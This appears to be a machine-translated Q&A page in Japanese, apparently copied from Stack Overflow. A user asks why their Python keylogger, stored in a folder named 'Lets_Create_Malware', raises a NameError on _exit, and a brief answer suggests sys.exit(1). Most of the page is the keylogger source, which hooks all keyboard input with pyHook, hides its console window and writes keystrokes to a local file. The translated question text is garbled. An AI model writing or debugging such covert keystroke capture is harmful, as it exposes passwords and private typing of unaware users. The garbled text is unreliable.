2016-07-06 10 views
1

を含むにもかかわらず、私はPythonコードを持っているが、私は、SYSライブラリが含まれていてもエラーTraceback (most recent call last): File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch return func(event) File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent _exit(1) NameError: global name '_exit' is not definedを取得します。エラー私は図書館

これ以上のことはありません。ここに私の文書化されたコードです。どんな助けでも大歓迎です。

import win32api #win32* to interact with Windows environment 
import win32console 
import win32gui 

import pythoncom #python to interact with windows 
import pyHook #captures input, such as from a keyboard 

import sys #use system-specific parameters such as _exit 
import logging #enables logging 


#hide python command window 
win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win,0) 

#exit script that uses ASCII value 5 to end program 
#ASCII value 5 is same as Ctrl-E 
#OnKeyboardEvent is invoked with key on keyboard is pressed 
def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     _exit(1) 

    #if input is not null or backspace, record input 
    if event.Ascii != 5: 

     #open read-only copy of log file and save to variable buffer 
     f=open('c:\\Lets_Create_Malware\\output.txt', 'w+') 
     buffer=f.read() 
     f.close 

     #re-open log file, this time you can write to it 
     f=open('c:\\Lets_Create_Malware\\output.txt','w') 

     #save all log information as variable keylogs 
     keylogs=chr(event.Ascii) 



     #append variable keylogs to variable buffer 
     buffer += keylogs 

     #write buffer to the writable logfile, C:\output.txt 
     f.write(buffer) 

     #close the logfile 
     f.close() 

#create hook manager 
hm = pyHook.HookManager() 

#watch for all key events 
hm.KeyDown = OnKeyboardEvent 

#set the hook that captures all the events 
hm.HookKeyboard() 

#record the events 
pythoncom.PumpMessages() 

答えて

2

あなたがそうあなたがsys.exit(1)ない_exit(1)を持っている必要がありmodule.methodとしてモジュールからメソッドを呼び出す必要がありますpythonでインポートしたモジュールを使用します。

+0

sys.exit(1)を試してください。 – dmitryro

関連する問題